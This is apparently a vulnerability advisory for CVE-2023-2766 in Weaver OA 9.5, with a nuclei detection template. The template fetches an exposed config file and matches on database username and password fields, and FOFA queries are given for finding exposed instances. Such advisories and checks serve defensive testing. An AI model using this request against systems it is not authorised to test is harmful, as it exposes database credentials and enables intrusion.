Weaver OA 9.5 - Information Disclosure

highseverity

7.5CVSS score

54.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A vulnerability was found in Weaver OA 9.5 and classified as problematic. This issue affects some unknown processing of the file /building/backmgr/urlpage/mobileurl/configfile/jx2_config.ini. The manipulation leads to files or directories accessible. The attack may be initiated remotely.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/building/backmgr/urlpage/mobileurl/configfile/jx2_config.ini
Positive when: status_code == 200 and contains(header,"text/plain") and contains_all(body, "sdbuser =","sdbpassword =")

Run it with nuclei: nuclei -id CVE-2023-2766 -u <target>

The full check

id: CVE-2023-2766

info:
  name: Weaver OA 9.5 - Information Disclosure
  author: DhiyaneshDK
  severity: high
  description: |
    A vulnerability was found in Weaver OA 9.5 and classified as problematic. This issue affects some unknown processing of the file /building/backmgr/urlpage/mobileurl/configfile/jx2_config.ini. The manipulation leads to files or directories accessible. The attack may be initiated remotely.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
  reference:
    - https://github.com/8079048q/cve/blob/main/weaveroa.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2766
    - https://vuldb.com/?ctiid.229271
    - https://vuldb.com/?id.229271
    - https://github.com/Vme18000yuan/FreePOC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-2766
    cwe-id: CWE-552
    epss-score: 0.54232
    epss-percentile: 0.99018
    cpe: cpe:2.3:a:weaver:weaver_office_automation:9.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: weaver
    product: weaver_office_automation
    fofa-query:
      - app="泛微-EOffice"
      - app="泛微-eoffice"
  tags: cve,cve2023,weaver,eoffice,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/building/backmgr/urlpage/mobileurl/configfile/jx2_config.ini"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header,"text/plain")'
          - 'contains_all(body, "sdbuser =","sdbpassword =")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from